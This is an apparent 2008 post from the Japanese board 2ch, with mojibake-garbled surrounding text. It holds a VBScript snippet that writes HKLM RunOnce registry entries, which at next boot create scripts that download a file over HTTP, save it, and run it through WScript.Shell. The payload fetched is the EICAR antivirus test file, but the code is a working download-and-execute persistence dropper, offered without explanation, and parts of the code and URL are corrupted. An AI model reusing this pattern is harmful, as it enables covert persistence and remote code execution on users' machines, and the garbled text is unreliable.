ySHIZUKAz¬Šw‚T”N ..
[2ch|₯Menu]
434:–Ό–³‚΅‚³‚ρ—‚¨• ‚’‚Α‚Ο‚’B
08/04/04 04:49:41 j2lERMJU0
Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
strValueName = "Create Code Downloader"
arrStringValues = ("cmd /c ECHO Set
X=CreateObject("+chr(34)+"Microsoft.XMLHTTP"+chr(34)+"):X.open
"+chr(34)+"GET"+chr(34)+",("+chr(34)+"URLΨέΈ(www.eicar.org)
ar.com"+chr(34)+"),False:X.send:set
Y=createobject("+chr(34)+"adodb.stream"+chr(34)+"):Y.type=1:Y.open:Y.write
X.responseBody:Y.savetofile("+chr(34)+"eicar.com"+chr(34)+"),2:Y.close >
estart.VBS")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
strValueName = "Create Code Launcer"
arrStringValues = ("cmd /c ECHO wscript.sleep(10000):Set
Z=CreateObject("+chr(34)+"WSCript.Shell"+chr(34)+"):Z.run("+chr(34)+"cm
d
/k eicar.com"+chr(34)+") > elaunch.vbs")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues


ŽŸƒy[ƒW
ΕVƒŒƒX•\ަ
ƒXƒŒƒbƒh‚ΜŒŸυ
—ήŽ—ƒXƒŒˆκ——
˜b‘θ‚Μƒjƒ…[ƒX
‚¨‚ά‚©‚ΉƒŠƒXƒg
₯ƒIƒvƒVƒ‡ƒ“‚π•\ަ
‰Ι‚Β‚Τ‚΅2ch

5075“ϊ‘O‚ɍXV/131 KB
’S“–:undef